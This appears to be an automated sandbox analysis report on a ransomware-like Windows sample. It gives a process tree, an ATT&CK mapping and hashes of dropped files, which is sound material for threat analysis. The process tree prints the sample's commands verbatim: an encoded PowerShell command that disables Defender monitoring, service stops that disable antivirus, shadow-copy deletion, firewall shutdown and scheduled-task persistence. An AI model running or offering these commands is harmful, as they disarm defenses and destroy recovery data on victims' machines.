C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5512
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:2028
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:3460
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:1468
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:1056
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:5780
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:840
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:3524
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:6024
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:920 -
C:\Users\Admin\AppData\Local\Temp\2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe"3⤵PID:4036
-
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:4992
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wuauserv2⤵
- Launches sc.exe
PID:5592
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:3268
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5404
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵PID:2232
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:3424
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc minute /mo 30 /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:3556
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:7144
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:1096 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:3424
-
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:4904
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious behavior: EnumeratesProcesses
PID:6440
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:5028 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:6304
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:2768 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Enumerates processes with tasklist
PID:6348
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:4604 -
C:\Windows\system32\whoami.exewhoami3⤵PID:6328
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:4160 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:6320 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:2760
-
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:6148 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:4208
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:6156 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
PID:6488
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:2780
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵PID:2396
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:6636
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious behavior: EnumeratesProcesses
PID:6608
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵PID:6676
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:924
-
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:6780
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:6956
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:7012
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:5488
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4272
-
C:\Windows\system32\sihost.exesihost.exe1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:2684 -
C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS2⤵
- Boot or Logon Autostart Execution: Active Setup
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:3856
-
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:1456
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵PID:4928
-
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:3844
-
C:\Users\Admin\AppData\Local\Temp\2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exeC:\Users\Admin\AppData\Local\Temp\2026-07-09_f3a9ba2893797e8100d55464a4a9d3d1_destroyer_elex_glassworm_ngrbot_wannacry.exe1⤵PID:7072
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵PID:3488
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵
- Modifies data under HKEY_USERS
PID:6380
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵PID:6664
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Active Setup
1Registry Run Keys / Startup Folder
1Create or Modify System Process
4Windows Service
4Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Active Setup
1Registry Run Keys / Startup Folder
1Create or Modify System Process
4Windows Service
4Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
5Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\SysUpdate\Scr\scr_20260709_084735.jpg
- Size 188KB
- SHA256 08059997f7c6bc0ee843b1582a148573f094d77fce84e83c4f74726edd4616b9
- MD5 ff37a2a5df1658d461d2d709e08e2d72
- SHA1 d7818d5df2be2ace6272ac2922d13870fd36c77d
- SHA512 69fa56c419d759a2aa6d1aeaef5a92f77ebd67e1403879fe67c7a7c264961454ae5fc7f26818fb35b146f63e88efabd102993a4e746daed7903a017fc4558f7e
- SSDEEP 3072:j1yh0zN7sbh2wtxsY95ZS0kWDRQype4BERwg4wTkB6J8cg:1zN7Ih2wsY9naWDRQyE4YwFPB6acg
- TLSH T15C1408179D088B87941C87E8BD175EAC2F496B0DE8D679FF01625ECB3E643260D8E05E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\SysUpdate\wall.bmp
- Size 4KB
- SHA256 bfae0295664ce051cb59b4d5c6778bd55fc84e27cf2f68a2ee1c0191cc03903c
- MD5 6b2dd92d813df1a29e272071229c77f7
- SHA1 e0452bac1d427ffbfd71c613fe8aeb9b1a02c72b
- SHA512 e6d29fc5b5c60c9c15834157db2a25fac1c6086d4bed389361126d5e6c82a769eafc026667c4c97e6059e84b348feba84e4a133ea265d4e93b370d094eacb41a
- SSDEEP 48:LeXxko9UiJNSNGSn0j+Vx8pckYKgI4QSFc2K8CawnYSzRrh:8jpe0WSpXdX5SdfCawn5
- TLSH T1A6A11266F90ED2B0100B87B09F25152CE9CF0DCDE3A00D544A2A5C589AC2DB5AF79F6E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\invoice_1.pdf
- Size 66KB
- SHA256 d355a48b011a2127d1bbaf31a109d9a977a0af98f491f30e483bb55036ca4078
- MD5 6f87a042d92e197c81bb5d78c4eb7045
- SHA1 6ee74547217f42ffdc8613c5b203e154dc87813f
- SHA512 5a9c3881c564208966424e46abb3a5c4b2d8046df3e456dec91bb70b8a23e1e18f89f1706ae7ba1a267bc4898cbc4d8691c6dfbd1f1d7ffb25f818edf2c1cfdd
- SSDEEP 1536:FBU+6Fip1TJKcxCI6TAts79bnmYh/9w14tsHbL1vc140zzOCBVyBr7:FBU+6UplfxOD79bd/y1yQv1Ue0zzdyp7
- TLSH T19C631A368B23FCD4677F3D80E01039561C883E6B87B526BCFA851DAA28E5544DF3E598
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 65KB
- SHA256 d848fa9a768d407df217b94b5bb573a398968f02aa599e9544add7db8625f1c3
- MD5 faf09518f86c1434422ac347ef200e95
- SHA1 5cae05cc98ef09eae15354386437637855340208
- SHA512 aac8794db6ae8f294def271b6c3679afd0939d311c306312048b332dc7b1488fd74d99d5775fcaf0b46e50120e335cc750f24e204214239f076998f202297a99
- SSDEEP 1536:lBU+6Fip1TJKcxCI6TAts79bnmYh/9w14tsHbL1vc140zzOCBVyBry:lBU+6UplfxOD79bd/y1yQv1Ue0zzdypy
- TLSH T15A630A368B23FCD4677F3D80E05039561C882E7B97B5267CFA811DAA28E5144DF3E598
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\25875696-8545-4e31-a77e-6c5de6c06b75.tmp
- Size 11KB
- SHA256 8589e2c78f1dd0d83edf5b57a2faf660efe8bd1d2f99efdbc9f553588e8f7bc9
- MD5 fb8d0a27e4fd5c6c031d523f4807f80b
- SHA1 cafeaa8ca006270249d6ee64cdff4390364717e2
- SHA512 79a64d6dba69e19b116c0b2eff31ef4b3f8420c0bbf50726554f141253cb111e0b92f1c7dd669a5477c84db3a3242f0859c908da4949e20b33ce3fe26c23de8d
- SSDEEP 192:pRqS/QkYv7OlvyPRpEg8b9sHsb+WNnhQBb2u2OReaz+VyIsnAUgE:pRqS/jEesXpuqwuBT2K2E
- TLSH T15342B75ABD146A3B6CDBD22AF971BB53E7F5103521902E84E6FC8A2C12E76CD2217017
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
- Size 6B
- SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
- MD5 377d072e137022223a370760763420bb
- SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
- SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000009
- Size 42KB
- SHA256 2123107379ba390f6892513cbce2f1aac49dc6881205a6b729760a72d42083ec
- MD5 cbf2b96e809c5c1a3cfe28e9744fbab2
- SHA1 9872366fb8994bf48ae670a3816547123a39a670
- SHA512 ed61230bba47c8c81f3b78a9ea500c27b6c5d254cca692fc2ecc2e2f6f0d76dde485eeb45dd4e249a41021d95be99136f37c84a4e1cf9429d52436d6bc095b96
- SSDEEP 768:Uaes5t5slxwQoy6StREZPxRMB0L6eORnvXV6jJjYDACUE:6ytulKQh6Sj0xRMw65vV6WAzE
- TLSH T11213F12970D8F7B3B115D60892B62EC73633B9A9B423529CBDB04FC63EA17612127D13
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
- Size 408B
- SHA256 0c1bb6d2639ae48ec1e6414d01a7c3c46b1156257df03e850a705c014912a731
- MD5 dc0a16f58ba953b5e4ba15452510a664
- SHA1 5c4ce7b4107b421814c300145d276e27f0c41593
- SHA512 6dc20ce2e36350a2073421045fa2d8ed130855cef49a72244c98d2c2cff008dd3c5236ff80be6cbad280b5d52b11e5557cc8156e60879a3520eb27485c1af4d6
- TLSH T10BE07D107BD400C5CF441B3FE1D26C04263B052C61432BCB1AC3C05CB423EF02DC9080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\en\messages.json
- Size 593B
- SHA256 92f1246c21dd5fd7266ebfd65798c61e403d01a816cc3cf780db5c8aa2e3d9c9
- MD5 91f5bc87fd478a007ec68c4e8adf11ac
- SHA1 d07dd49e4ef3b36dad7d038b7e999ae850c5bef6
- SHA512 fdc2a29b04e67ddbbd8fb6e8d2443e46badcb2b2fb3a850bbd6198cdccc32ee0bd8a9769d929feefe84d1015145e6664ab5fea114df5a864cf963bf98a65ffd9
- TLSH T109F09C8CD050E86F02B2411AB1647314FB51037A0751A59F393CDC0D9FB6DA751C6F4D
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_background.js
- Size 531KB
- SHA256 04cd9494b0ed83924dad12202630b20d053d9e2819c8e826a386c814cc0a1697
- MD5 6eebed29e6a6301e92a9b8b347807f5f
- SHA1 65dfb69b650560551110b33dcba50b25e5b876de
- SHA512 fede6db31f2ad242e7bc7b52a8859ba7f466a0b920a8dadcb32dcfb5b2a2742e98b767ff22e0c5bc5c11fec021240aa9e458486c9039eb4ebe5cf6af7be97bf2
- SSDEEP 6144:abyfBNC2FRdjiRXqbe5Dq31IVlMqX+wd5/CcMMJcRULt0NjyTOEzZQ+h72W3GB0n:Ft/g
- TLSH T1B5C4F74C34C2E8CD6A623DA5247B9085A2319266F4479ED9F0EDECF21AF44641937F3E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\CURRENT
- Size 16B
- SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
- MD5 46295cac801e5d4857d09837238a6394
- SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
- SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\History
- Size 160KB
- SHA256 8b9c839bd16ceb2f6ad33d808ac836f71cc2f356331f770db792aea9aaaf4b2b
- MD5 404fa70c03c5e27b0d682fee5aa58232
- SHA1 1e6d399b125777675fd2597fb88fe1eb2051d83e
- SHA512 a245fc8fc28fde70414787382050dd534cd5535d1b088d81230bb43ff56a445130861794e2352dbe6d92649258717d80572e9e34cb09fff753da2448ae4fa595
- SSDEEP 96:ddi+cdib9Fqx/uejzH+bF+UIYysX0fxQp97YEHt/DfLcLq2piRk/E0Xv3cA:dSU9Fo/tH+bF+UI3iWGVYWNkqp3sMA
- TLSH T153F30C1E6F743311CDBD923668E749B3587DF03F87136A896C6504B0CEE2662A02C4BA
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
- Size 1KB
- SHA256 b0944c2bc2ca2ae6bcd006eb92a5651523af356991cb2ea766d6b2d71cef49fd
- MD5 8168fc9d8311f83e64f62223780e52bd
- SHA1 1849a080201455bc32a08b55747b9923657ae221
- SHA512 95bf476d9f0ea58cb8de5f344c70cd16f8bc8805e25ec297359fe109fea802e8247091c94ab42b59bf5edb0ace06ede98c2dde7abe20ce9206b10cbc6e5f9830
- TLSH T1FC317CF7C3D4D57D890196F8A7152F2ECE2E0A54531C3C26C8D8AE2F53E1872E21054E
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
- Size 7KB
- SHA256 9a4ac64c1254b7a5983396a809df81d96a4bb9f9ff2067d53c1e3adf6f9d0b46
- MD5 612e8aa1d2008a4fae26dcd0e54a7986
- SHA1 8e9d2a530e04f9cedf9676ceee4cfe0a48416bdd
- SHA512 e06d3388009da4f0a1c0a3ef1fbb098ed3f1ac6787be599c1f848af2add1899ec3f1a9bedefa5f7d43e54af42e7fdb632c7b5931c12d283b13a5587ea36a0e1d
- SSDEEP 192:DkmT5T8BedZxoHFE8JgMOaUXSGONDOqvJObuJOfmOSOzYbOtWWOvCfOuWqEq6G:DkmT5T8BedZxolE8Jg9aUXSLNqqvcbua
- TLSH T115F1CDB3C6E8862DCC1766F5AB652E2BCD290AA442593D5EC8D4BF0BA3E1671D20150F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
- Size 2B
- SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
- MD5 d751713988987e9331980363e24189ce
- SHA1 97d170e1550eee4afc0af065b78cda302a97674c
- SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
- Size 10KB
- SHA256 46884cd0d08aa63cb4e1a9c2ff5a3d348809b34d6aa26a977e28877464b538fd
- MD5 6745c8624e2417f425868103f6fb2709
- SHA1 b80572e8ef5bda3db2cbea3af98e4832f8fb4eb2
- SHA512 deddb03130102f60a1982deccdce76b90014f87943283d45a96fd13a0accc577bb23d8db05a0960d9fee6b2d55ed49dbb7c4d55d76c694a5f47fd24060cea999
- SSDEEP 192:pRqS/QkYv7OlvAPRp2g8b9sHsb+WNnhQBb2u2bRea9+VyIsnAUgR:pRqS/jEe6XjuqwuBT252R
- TLSH T16F32951AAD146A3B5CDBD22AFD717B53E7F6103572902E84E6FC8A2C11E7ACC2217417
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
- Size 11KB
- SHA256 46c06f896f1d2913fdd1374a965e704bc8b643afb93bedd70472fc5a5e175f1f
- MD5 ffd62a0b21be74df1a5318b0ee0855f6
- SHA1 990b442185f3089f5be764cf77203e7a8e25612b
- SHA512 a2781bbd351ef6cd14820cd03aa32c5ed8faa78885ad88649266cabc7aa23dcb857ab59fb26dab49ce7002f63ac7f51d99d334d3f13a4d5f4497570d5cfede1a
- SSDEEP 192:pRqS/YkYv7OlvyPRpEg8b9sHsb+WNnhQBb2u2OReaz+VyIsnAUgE:pRqS/LEesXpuqwuBT2K2E
- TLSH T14142C75ABD146A3B6CDBD22AF971BB53E7F5103531902E44E6FC8A2C12E76CD2217017
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
- Size 11KB
- SHA256 0a2540db5e0a08c4e9c4e5df4c78c66ff388abc155510dd52d58a9c069b4e1e2
- MD5 19794672b8fba9e4b31a2e2549ade7b8
- SHA1 dd1e3cd7e1f136bdc173d85d042fcab4f45f0748
- SHA512 395dc6536fa584d4d69edd1b4cba7e2fe89ed5d171f6698e3dd322073f7305ea41a4be356bb40b2870f7c86ae5110255295236417078e9aedf405cab86a070a9
- SSDEEP 192:eOl4K66E7KxkXqK4I40pUZNCgVLHrKHfFKslE5WMXzKD/bC+ErUkKN93ognF+hZc:vljpE7KxkXqKf/pUZNCgVLH2HfgslFMI
- TLSH T19C32D917584D9A3B4FD8D559CC136F4BADB502D773780C2496FB5D0803A678E224A2EB
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
- Size 120B
- SHA256 7da3527985c8b4cab85583084d010442f0653d3fc86cd5e5107033d3fe5d2386
- MD5 fcee04a8afb5607760d68a19eb447a7c
- SHA1 53763d348576443623630e572b3cb899bc623fc5
- SHA512 8430b8f4561b69f96c7ece8bf36d0a331f8214c406a0fdae5949371ac7ccec3cc0b914358ddd72a01d9d1e0e494f87103dd9066d904c06f8b0c6177f9bb26ee2
- TLSH T17AB0124184CB1920D800497017C6208D22418F32C4221602D2E0ABC59CEB0F05166A60
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir\the-real-index
- Size 72B
- SHA256 dcbf5d8cd94b0d29c470756d59d596e2c98163a289808463ade3a7fe6943cbee
- MD5 6505d8cb5a764a64626705a586e3c548
- SHA1 9164d7c8b3df80ce424e3a6efe7e3af5a25a00f1
- SHA512 d882f6ab1c201170668bd0924ce01d15d0d65ca4d855a5efe2a12522153800eedf0cbc82f7cf4629ba2c1881798d8e320802faef5cb57fe6a04037a6b9733283
- TLSH T1D1A0021041C00C15DF0093B56061059223D248595D52D3035691B4488D5BAC851E9300
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir\the-real-index~RFe5a91c2.TMP
- Size 48B
- SHA256 77b4c17982383e0e7884dccd4b8dc2019c1677515e4089c114c866969cba9653
- MD5 8d23f3f80ee6f3a2384677750679f8a2
- SHA1 aeaaf33b689cf86479a5cf6fce431766f8f81ef8
- SHA512 d7c03a117931cf1de3ad5cb5eb166a6a1fea830e9949424033b7681d0c623d25712e00a1ce3745a19a8cdc8f1e77515556c7014aa0a6f5210f69d8f9e7550b7f
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_0
- Size 8KB
- SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
- MD5 cf89d16bb9107c631daabf0c0ee58efb
- SHA1 3ae5d3a7cf1f94a56e42f9a58d90a0b9616ae74b
- SHA512 8cb5b059c8105eb91e74a7d5952437aaa1ada89763c5843e7b0f1b93d9ebe15ed40f287c652229291fac02d712cf7ff5ececef276ba0d7ddc35558a3ec3f77b0
- SSDEEP 3:MsFl:/F
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_1
- Size 264KB
- SHA256 b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
- MD5 f50f89a0a91564d0b8a211f8921aa7de
- SHA1 112403a17dd69d5b9018b8cede023cb3b54eab7d
- SHA512 bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58
- SSDEEP 3:MsEllllkEthXllkl2zE:/M/xT02z
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_2
- Size 8KB
- SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
- MD5 0962291d6d367570bee5454721c17e11
- SHA1 59d10a893ef321a706a9255176761366115bedcb
- SHA512 f555e961b69e09628eaf9c61f465871e6984cd4d31014f954bb747351dad9cea6d17c1db4bca2c1eb7f187cb5f3c0518748c339c8b43bbd1dbd94aeaa16f58ed
- SSDEEP 3:MsHlDll:/H
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_3
- Size 8KB
- SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
- MD5 41876349cb12d6db992f1309f22df3f0
- SHA1 5cf26b3420fc0302cd0a71e8d029739b8765be27
